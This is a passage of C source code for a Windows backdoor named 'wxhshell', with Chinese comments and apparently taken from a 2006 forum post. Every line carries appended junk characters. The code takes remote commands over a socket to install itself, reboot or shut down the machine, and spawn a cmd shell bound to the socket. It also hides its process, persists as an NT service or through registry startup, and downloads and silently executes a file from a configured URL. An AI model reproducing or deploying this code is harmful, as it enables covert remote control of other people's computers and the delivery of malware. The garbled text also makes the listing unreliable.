  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,Hh7' `  
  } #n%?}  
  else { "wL~E Si  
o/buU{)y  
    switch(cmd[0]) { BF8n: }9U  
  2+" =i/8  
  // 帮助 .O @bX)  
  case '?': { G}ElQD  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); W=M&U  
    break; Ht+ng  
  } qY\zZ  
  // 安装 jENarB^As  
  case 'i': { w8:F^{  
    if(Install()) &N1C"Eov?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &b,.W; +  
    else C0/s/p'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (bt^L3}a  
    break; "L@qjSs8  
    } SdC505m0*  
  // 卸载 l|O^yNS  
  case 'r': { RtH[OZu(8  
    if(Uninstall()) %(;jx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C&D]!Zv F  
    else W~p^AHco`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Tj*o[2mD  
    break; T[a1S?_*T  
    } ju0]~,  
  // 显示 wxhshell 所在路径 %8/Gsu;  
  case 'p': { 5Zs"CDU  
    char svExeFile[MAX_PATH]; 8B;`9?CI  
    strcpy(svExeFile,"\n\r"); 7p3 ;b"'  
      strcat(svExeFile,ExeFile); =bs4*[zq  
        send(wsh,svExeFile,strlen(svExeFile),0); F3jrJ+nJ  
    break; {l{p  
    } nkHr(tF 7  
  // 重启 Iu|G*~\  
  case 'b': { a<tUpI$  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); OdgfvHDgW  
    if(Boot(REBOOT)) I@cKiB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Rg)\o(J  
    else { yGgHd=?  
    closesocket(wsh); `}k!SqG  
    ExitThread(0); KQi9qj  
    } C yC<{D+  
    break; mmY~V:,Kd  
    } ^i&Qr+v  
  // 关机 )ZzwD]  
  case 'd': { ]]o7ej  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); i051qpj  
    if(Boot(SHUTDOWN)) Oz^+;P1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9Q=g]int u  
    else { OTtSMO  
    closesocket(wsh); H(Mlf  
    ExitThread(0); iJ42` 51  
    } N\H{p %8  
    break; g-mK(kY4p  
    } y[q W>  
  // 获取shell h 7kyz  
  case 's': { Wr`=P,  
    CmdShell(wsh); X X{:$f+  
    closesocket(wsh); L3Ry#uw  
    ExitThread(0); *Dh.'bB!  
    break; T1PWFw\GH  
  } <y*#[:i  
  // 退出 `h$6MFC/g  
  case 'x': { \yb^%$hZ0  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 5g F}7D@  
    CloseIt(wsh); 0VoC|,$U  
    break; Z T8. r0  
    } %P_\7YBC>  
  // 离开 w|Zq5|[  
  case 'q': { {eIE|   
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); tRbZ^5x\@  
    closesocket(wsh); #Vul#JHW  
    WSACleanup(); #.9Xkn9S  
    exit(1); po=*%Zs*T  
    break; wVE"nN#  
        } rZGbU&ZM8  
  } BOL_kp"   
  } 3I:DL#f  
%Tsefs?_  
  // 提示信息 FD|R4 V*3  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,-] JCcH  
} ./#K@V1  
  } Y+/ofk "  
v8*ZwF  
  return; U@& <5'  
} 2_r}4)z  
>ID 3oi  
// shell模块句柄 5`x9+XvoN  
int CmdShell(SOCKET sock) UeHS4cW  
{ lBQ|=  
STARTUPINFO si; \`>Y   
ZeroMemory(&si,sizeof(si)); t T-]Vj.  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6ap,XFRMh  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; z@~1e]%  
PROCESS_INFORMATION ProcessInfo; < ]wN/B-8J  
char cmdline[]="cmd";  C&e  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); % Pa-fee  
  return 0; `9K'I-hv<8  
} _tjFb_}Q  
5R"b1  
// 自身启动模式 C dZ;ZR  
int StartFromService(void) &~E=T3  
{ i;|% hDNWA  
typedef struct ACyQsmqm:  
{ r{%NMj  
  DWORD ExitStatus; iZSj T"l^  
  DWORD PebBaseAddress; l*X5<b9  
  DWORD AffinityMask; 6h+/C]4  
  DWORD BasePriority; OPKX&)SE-  
  ULONG UniqueProcessId; Iu1P}R>C  
  ULONG InheritedFromUniqueProcessId; 9s*Lzi[}  
}   PROCESS_BASIC_INFORMATION; E\V>3rse  
ni%^w(J3Q  
PROCNTQSIP NtQueryInformationProcess; ;"Ot\:0  
@ K@~4!  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; pY8+;w EI  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; <mm}IdH  
~Dy0HVE   
  HANDLE             hProcess; w-\fCp )  
  PROCESS_BASIC_INFORMATION pbi; nosEo? {  
m};_\Db`  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); -w@fd]g  
  if(NULL == hInst ) return 0; PA5g]Tz  
ww\/$ |  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); k*!J,/=k  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); B=Zo0 p^  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); b7>;UX  
e#zGLxa  
  if (!NtQueryInformationProcess) return 0; yY"%6k,ZB  
yv'rJI~ Ps  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); UBU(@T(  
  if(!hProcess) return 0; 3ZB;-F5v  
x_@ev-  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; O-y"]Wrv  
?QuFRl,ZJ  
  CloseHandle(hProcess); xxV{1, H2  
+=}% 7o  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); e.HN%LrhS  
if(hProcess==NULL) return 0; |f>y"T+1  
9*2hBNp+  
HMODULE hMod; !Uj !Oy  
char procName[255]; +Nza@B d  
unsigned long cbNeeded; cnIy*!cJs  
[9LYR3 p  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #%{\59/w  
sztnRX_  
  CloseHandle(hProcess);  Mys;Il "  
L>L4%?  
if(strstr(procName,"services")) return 1; // 以服务启动 JI*ikco-  
S3J6P2P  
  return 0; // 注册表启动 ,LMme}FFeb  
} & 9?vQq|%  
C8t+-p  
// 主模块 \`XJz{Lm]  
int StartWxhshell(LPSTR lpCmdLine) =riP~%_ML)  
{ C$(t`G  
  SOCKET wsl; Hou{tUm{xC  
BOOL val=TRUE; M,#t7~t  
  int port=0; q7)$WXe2LM  
  struct sockaddr_in door; _ssHRbE  
NeK:[Q@je  
  if(wscfg.ws_autoins) Install(); i#-Jl7V[a  
#dl8+  
port=atoi(lpCmdLine); ow$#kQ&R O  
@O3w4Zs  
if(port<=0) port=wscfg.ws_port; w_{z"VeD  
7}lZa~/  
  WSADATA data; NMj `wQ`M+  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; HOUyB's'  
_*;cwMne-  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Zq`bd55~  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \hq8/6=4s  
  door.sin_family = AF_INET; L;`4"  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); H?~u%b@   
  door.sin_port = htons(port); @qe>ph[UA  
43)9iDmJ8<  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Sm1bDa\!=  
closesocket(wsl); Dr2h-  
return 1;  JA)gM  
} [n}c}%  
lZua"Ju  
  if(listen(wsl,2) == INVALID_SOCKET) { c]"B)I1L  
closesocket(wsl); xUw\Y(!  
return 1; -w2g a1  
} Bdg*XfXXk  
  Wxhshell(wsl); YVaQ3o|!  
  WSACleanup(); &t8_J3?Z  
OcH- `A  
return 0; UMX+h])#N  
C= m Y  
} cwD0 ~B  
P0Jd6"sS"  
// 以NT服务方式启动 $x)'_o}e  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) .ClCP?HG  
{ 6X jUb  
DWORD   status = 0; -j$l@2g  
  DWORD   specificError = 0xfffffff; %F4Q|  
FlgB-qR]<n  
  serviceStatus.dwServiceType     = SERVICE_WIN32; QbNv+Eu5  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; jQr~@15J#  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $XI<s$P%(%  
  serviceStatus.dwWin32ExitCode     = 0; PRLV1o1#  
  serviceStatus.dwServiceSpecificExitCode = 0; ljis3{kn""  
  serviceStatus.dwCheckPoint       = 0; bOFLI#p&  
  serviceStatus.dwWaitHint       = 0; 0 iE).Za0g  
Y5NbY02E  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); TZP{=v<  
  if (hServiceStatusHandle==0) return; mQvKreo~  
m@Nx`aS?  
status = GetLastError(); N 4v)0  
  if (status!=NO_ERROR) X or ,}. w  
{ 4l1=l#\S  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; u}rot+)%  
    serviceStatus.dwCheckPoint       = 0; 6f>l~$  
    serviceStatus.dwWaitHint       = 0; YBCjcD[G  
    serviceStatus.dwWin32ExitCode     = status; %<"11;0tp  
    serviceStatus.dwServiceSpecificExitCode = specificError; #,PAM.rH  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); "@?|Vv,vn  
    return; '?>eW 2d  
  } 1h#k&r#*3  
O1ha'@qID  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Y1'.m5E  
  serviceStatus.dwCheckPoint       = 0; &Kv evPF  
  serviceStatus.dwWaitHint       = 0; wW<"l"x,  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); <  t (Pw  
} ?|8Tgs@+  
d-<y'GYw  
// 处理NT服务事件,比如:启动、停止 h.9Lh ;j  
VOID WINAPI NTServiceHandler(DWORD fdwControl) oe*&w9Y}&  
{ yki k4MeB  
switch(fdwControl) ^sOm7S{  
{ Fp6Y Y  
case SERVICE_CONTROL_STOP: {l11WiqQH  
  serviceStatus.dwWin32ExitCode = 0; =zjUd  5  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; YKg[k:F  
  serviceStatus.dwCheckPoint   = 0; RsD`9>6)  
  serviceStatus.dwWaitHint     = 0; L@_">' pR  
  { &+j^{a  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (rG1_lUDu  
  } XH *tChf<  
  return; D+)=bPMe  
case SERVICE_CONTROL_PAUSE: 0;h1LI)  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 3uw7 J5x  
  break; /h M>dkwu  
case SERVICE_CONTROL_CONTINUE: [4hO3):F  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; -h@0 1  
  break; u0Erz0*G4  
case SERVICE_CONTROL_INTERROGATE: xs I/DW  
  break; mCt>s9a)H  
}; &o/4hnHYt  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (K6`nWk2  
} @Y<tH,*  
uT/B}`md  
// 标准应用程序主函数 h*KHEg"+  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) a-E-hX2  
{ N &[,nUd  
]k: m2$le  
// 获取操作系统版本 8T)zB6ng  
OsIsNt=GetOsVer(); W #L"5pRg  
GetModuleFileName(NULL,ExeFile,MAX_PATH); AMd)d^;  
bVeTseAG  
  // 从命令行安装 rH9}nL  
  if(strpbrk(lpCmdLine,"iI")) Install(); <s >/< kW:  
]X~g@O{>_  
  // 下载执行文件 )h0E$*  
if(wscfg.ws_downexe) { =]QH78\3  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 0Ad ~!Y+1  
  WinExec(wscfg.ws_filenam,SW_HIDE); dn\F!  
} 0Mu8ZVI{  
o$ce1LO?|N  
if(!OsIsNt) { KF_Wu}q d  
// 如果时win9x,隐藏进程并且设置为注册表启动 ^A[`NYK  
HideProc(); F!&pENQ  
StartWxhshell(lpCmdLine); 2]3HX3  
} ~Ex.Yp8.  
else :dguQ|e  
  if(StartFromService()) b!X"2'  
  // 以服务方式启动 EOX_[ek7  
  StartServiceCtrlDispatcher(DispatchTable); 06^1#M$'  
else j 3MciQ`  
  // 普通方式启动 eAsX?iaH  
  StartWxhshell(lpCmdLine); R-Q1YHUQM  
)SX6)__  
return 0; 3EVC8ue  
}
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只看该作者 1 发表于: 2006-10-10
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